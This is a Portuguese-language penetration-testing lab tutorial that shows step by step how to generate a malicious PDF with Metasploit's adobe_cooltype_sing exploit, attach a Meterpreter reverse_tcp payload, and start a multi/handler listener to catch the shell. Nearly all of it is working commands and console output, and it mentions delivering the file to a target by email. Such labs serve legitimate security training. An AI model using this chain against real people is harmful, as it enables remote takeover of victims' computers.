Criar um Arquivo PDF Malicioso para um Ataque do Lado do Cliente

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você irá mergulhar no mundo dos ataques do lado do cliente, criando um arquivo PDF malicioso usando o Metasploit Framework. Ataques do lado do cliente visam vulnerabilidades em aplicações no computador de um usuário, como navegadores web, reprodutores de mídia ou visualizadores de documentos.

Arquivos PDF são um vetor comum para esses ataques porque são amplamente utilizados e frequentemente confiáveis pelos usuários. Ao incorporar código malicioso (um payload) em um PDF aparentemente inofensivo, um atacante pode obter controle sobre o sistema de uma vítima quando o arquivo é aberto com um leitor de PDF vulnerável.

Você aprenderá a selecionar um exploit específico, configurá-lo com um payload, gerar o arquivo malicioso e configurar um listener para lidar com a conexão do sistema comprometido. Este laboratório fornece uma compreensão fundamental de como tais ataques são construídos.

Selecionar o módulo exploit/windows/fileformat/adobe_cooltype_sing

Nesta etapa, você iniciará o console do Metasploit Framework e selecionará o módulo de exploit apropriado para criar um PDF malicioso. O Metasploit Framework é uma ferramenta poderosa para testes de penetração, e seu console, msfconsole, é a interface principal para interagir com ele.

Primeiro, abra um terminal e inicie o console do Metasploit. Isso pode levar um momento para inicializar.

msfconsole -q

O sinalizador -q suprime o banner para um início mais rápido. Uma vez carregado, você verá o prompt msf6 >.

Usaremos um exploit que visa uma vulnerabilidade conhecida no Adobe Reader. O módulo é chamado exploit/windows/fileformat/adobe_cooltype_sing. Use o comando use para carregar este módulo.

use exploit/windows/fileformat/adobe_cooltype_sing

Após executar o comando, você notará que o prompt de comando muda para refletir o módulo atualmente carregado.

msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) >

Isso confirma que o módulo está agora ativo e pronto para configuração.

Definir a opção FILENAME para o PDF de saída

Nesta etapa, você configurará as opções para o módulo de exploit selecionado. Cada módulo tem um conjunto de opções que você pode personalizar. Para ver as opções disponíveis para o módulo atual, use o comando show options.

show options

Este comando exibirá uma tabela de parâmetros que você pode definir, como o nome do arquivo de saída e as configurações do payload.

Module options (exploit/windows/fileformat/adobe_cooltype_sing):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.pdf          yes       The file name.
   ...

Payload options (generic/shell_reverse_tcp):
...

Precisamos definir a opção FILENAME para especificar o nome do nosso arquivo PDF malicioso. Vamos chamá-lo de malicious.pdf. Use o comando set para atribuir este valor.

set FILENAME malicious.pdf

Você pode executar show options novamente para verificar se o FILENAME foi atualizado com sucesso.

FILENAME  malicious.pdf    yes       The file name.

Configurar um payload reverse_tcp com LHOST e LPORT

Nesta etapa, você configurará o payload. Um payload é o código que será executado no sistema alvo após o exploit ser bem-sucedido. Usaremos um payload reverse_tcp, que força a máquina da vítima a se conectar de volta à nossa máquina.

Primeiro, defina o payload para windows/meterpreter/reverse_tcp. Meterpreter é um payload avançado e dinamicamente extensível que fornece mais recursos do que um shell padrão.

set payload windows/meterpreter/reverse_tcp

Em seguida, precisamos configurar as opções do payload: LHOST e LPORT.

  • LHOST: Este é o "Listening Host" (Host de Escuta), que é o endereço IP da sua máquina. A máquina da vítima se conectará de volta a este IP.
  • LPORT: Esta é a "Listening Port" (Porta de Escuta), a porta em sua máquina que estará escutando a conexão.

Para encontrar o endereço IP da sua máquina, você pode abrir uma nova aba de terminal e executar o comando ip a. Procure o endereço IP associado à interface eth0.

ip a

Agora, defina LHOST para o seu endereço IP (substitua YOUR_IP_ADDRESS pelo IP real) e LPORT para uma porta comum como 4444.

set LHOST YOUR_IP_ADDRESS
set LPORT 4444

Execute show options mais uma vez para confirmar que todas as configurações estão corretas. Você deverá ver seu FILENAME, PAYLOAD, LHOST e LPORT configurados.

Gerar o arquivo PDF malicioso

Nesta etapa, com todas as opções configuradas, você está pronto para gerar o arquivo PDF malicioso. O comando exploit (ou seu alias run) montará o exploit e o payload no arquivo final.

Execute o comando exploit na sua janela do msfconsole.

exploit

O Metasploit criará agora o arquivo PDF. A saída mostrará o processo e, o mais importante, onde o arquivo foi salvo.

[*] Creating 'malicious.pdf' file...
[+] malicious.pdf stored at /home/labex/.msf4/local/malicious.pdf

O arquivo foi criado. Em um cenário do mundo real, um atacante entregaria este arquivo a um alvo, por exemplo, como um anexo de e-mail. Você pode verificar sua existência usando o comando ls em um novo terminal.

ls -l /home/labex/.msf4/local/malicious.pdf
-rw-r--r-- 1 labex labex 12345 Date Time /home/labex/.msf4/local/malicious.pdf

Configurar um handler no msfconsole para capturar o shell

Nesta etapa, você configurará um listener, também conhecido como handler, para "capturar" a conexão de entrada da máquina da vítima quando o PDF malicioso for aberto. Sem um handler, o payload não terá para onde se conectar.

Usaremos o módulo exploit/multi/handler, que é um listener genérico.

use exploit/multi/handler

Agora, você deve configurar este handler com o payload e as opções (LHOST e LPORT) exatamente iguais às que você incorporou no arquivo PDF. Isso é crucial para que a conexão seja bem-sucedida.

set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP_ADDRESS
set LPORT 4444

Lembre-se de substituir YOUR_IP_ADDRESS pelo endereço IP da sua máquina novamente.

Com o handler configurado, execute-o usando o comando exploit -j. A flag -j executa o handler como um job em segundo plano, o que mantém seu prompt do msfconsole livre para outros comandos enquanto o listener está ativo.

exploit -j

Você verá uma confirmação de que o handler foi iniciado.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on YOUR_IP_ADDRESS:4444

O handler agora está escutando por uma conexão. Neste laboratório, não simularemos uma vítima abrindo o arquivo, mas sua configuração está completa. Você criou com sucesso um arquivo malicioso e preparou um listener para lidar com o reverse shell.

Resumo

Neste laboratório, você percorreu com sucesso as etapas fundamentais para criar um PDF malicioso para um ataque do lado do cliente usando o Metasploit Framework.

Você aprendeu a:

  • Iniciar o console do Metasploit e selecionar um módulo de exploit apropriado.
  • Configurar opções de exploit, como o nome do arquivo de saída.
  • Selecionar e configurar um payload (windows/meterpreter/reverse_tcp) com os parâmetros necessários de LHOST e LPORT.
  • Gerar o arquivo PDF malicioso final.
  • Configurar e executar um handler (exploit/multi/handler) para escutar e capturar a conexão de entrada de um sistema comprometido.

Este exercício fornece uma compreensão prática da mecânica por trás de um vetor de ataque comum e destaca a importância de manter o software, especialmente leitores de documentos, atualizado para se proteger contra tais vulnerabilidades.